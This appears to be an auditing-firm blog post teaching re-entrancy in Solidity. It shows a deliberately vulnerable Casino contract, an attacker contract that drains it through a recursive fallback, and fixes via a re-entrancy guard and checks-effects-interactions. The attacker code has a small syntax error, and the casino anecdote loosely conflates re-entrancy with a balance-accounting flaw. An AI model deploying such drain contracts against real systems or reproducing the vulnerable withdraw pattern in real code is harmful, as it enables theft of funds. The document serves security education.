X
Request an Audit
General information
Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.
Blog
Cookie Consent

By clicking “Accept”, you agree to the storing of cookies on your device to enhance site navigation, analyze site usage, and assist in our marketing efforts. View our Privacy Policy for more information.

Cookie preferences
by
Gracious Igwe

Auditing A Solidity Contract: Episode 1 - Re-entrancy Attack

Smart contracts are self-executing codes that form the backbone of the Web3 ecosystem. Smart contracts serve as the foundational threads of the Web3 ecosystem, delicately balancing billions on an open network. Today, we'll discuss the re-entrancy attack, one of the most common vulnerabilities that affects smart contracts. This is a great place to start if you want to learn about Solidity and how to audit smart contracts. This is the first article in a series on auditing Solidity smart contracts. The series will cover vulnerabilities and resources that smart contract auditors use.

What Is A Re-Entrancy Attack? 

A re-entrancy attack is a smart contract vulnerability where an exploiter contract takes advantage of a loophole in a victim contract, repeatedly withdrawing from it until the victim contract becomes bankrupt. This vulnerability occurs when the victim contract fails to verify the exploiter's new balance in a timely manner. 

Smart contracts often interact by calling one another, and the attacker contract in a re-entrancy attack initially deposits tokens into the victim contract and then makes a withdrawal call. The attacker contract intentionally restricts the victim contract from receiving tokens, leading to a mismatch and triggering the fallback function, which receives Ether. The attacker contract includes manipulative code that continuously calls the victim contract, causing it to unknowingly send Ether repeatedly. This allows the attacker to drain the victim contract's funds until it is depleted.

CryptoCasino is a dApp that allows users to gamble with cryptocurrency. The smart contract governing CryptoCasino has a vulnerability that allows for a re-entrancy-like attack. The smart contract also allows users to withdraw their remaining balance at any time. The contract updates the user's balance only after they finish their gambling session instead of updating it after each bet. Alice creates an account on CryptoCasino and deposits 1 ETH into her account balance.

During her gambling session, Alice places a bet of 0.5 ETH and withdraws her initial deposit before the smart contract updates her balance. The vulnerable smart contract doesn't verify Alice's updated balance until the end of the gambling session, so it still believes she has the initial 1 ETH in her account. Alice exploits this vulnerability by withdrawing her initial deposit before the contract can adjust her balance for the bets she placed. Through this re-entrancy-like attack, Alice can drain the CryptoCasino's funds without the operators noticing.

Building Normal And Attacker Smart Contract

Now that we have thoroughly explained re-entrancy from both technical and real-life perspectives, you should better understand it. To demonstrate re-entrancy, we will build a contract and create an attacker contract. But before that, let's start by creating a hypothetical bank.

Victim Smart Contract

// SPDX-License-Identifier: MIT 
pragma solidity ^0.8.17;

contract Casino {
      mapping(address => uint) public balances;
      
      function deposit() public payable {
        require(msg.value >= 1 ether, "Must deposit 1 ether or more"); 
        balances [msg.sender] += msg.value;
      }
    
      function withdraw() public {
        uint bal = balances [msg.sender];
        require(bal > 0, "Insufficient balance");
       
        (bool sent,) = msg.sender.call{value: bal}(""); 
        require(sent, "Failed to send Ether");

        balances [msg.sender] = 0;
      }
        function totalBalance() public view returns (uint) {
          return address (this).balance;
      }
}

Attacker Smart Contract

contract CasinoAttack {
  Casino public casino;

  constructor(address _casinoAddress) { 
      casino Casino(_casinoAddress);
  }
  fallback() external payable {
      if (address (casino).balance >= 1 ether) {
          casino.withdraw();
      }
  }
  
  function attack() external payable {
      require(msg.value >= 1 ether); 
      casino.deposit{value: 1 ether}(); 
      casino.withdraw();
  }
  
  function totalBalance() public view returns (uint) { 
      return address(this).balance;
  }
}

Recommendations For Re-Entrancy Attack

Re-Entrancy Guard

A re-entrancy guard prevents the execution of multiple vital functions simultaneously. Here is an example:

 // SPDX-License-Identifier: MIT 
pragma solidity ^0.8.17;

contract ReentrancyGuard{

    bool internal locked;

    modifier noReentrant() {
      require(!locked, "No re-entrancy");
      locked = true;
      _;
      locked = false;
    }
}

You can then include the modifier in the withdraw function like so:

function withdraw() public noReentrant{

You can also import OpenZepellin’s implementation of the Re-entrancy guard.

This is recommended because OpenZepellin’s contracts are already audited and secure.

Check Effects Interaction Pattern

This pattern ensures that if a function starts, it first checks whether the user is entitled to receive the funds. If the result is positive, the balance is adjusted, and the funds are sent to the user in the last step.

Instead of having your withdraw function like this:

function withdraw() public noReentrant {
    uint bal = balances [msg.sender];
    require(bal > 0, "Insufficient balance");

    (bool sent, ) = msg.sender.call{value: bal}(""); 
    require(sent, "Failed to send Ether");

    balances [msg.sender] = 0;
  }

It should be like this:

function withdraw() public noReentrant{
    uint bal = balances [msg.sender]; 
    require(bal > 0, "Insufficient balance");

    balances [msg.sender] = 0;

    (bool sent,) = msg.sender.call{value: bal}(""); 
    require(sent, "Failed to send Ether");
}

It is crucial to promptly update your state after setting the requirement check.

In Conclusion 

If released in the wild, a re-entrancy attack can cause a significant loss of funds. Using re-entrancy guards within smart contracts and Check Effects Interaction Patterns reduces the risk of these vulnerabilities. Smart contract audits, bug bounties, and reviews are crucial in every state of development as they increase the number of eyes scouting for vulnerabilities and decrease the chance of critical vulnerabilities slipping through.

Stay safe!


Related Articles:

Back to Blog
Latest
Latest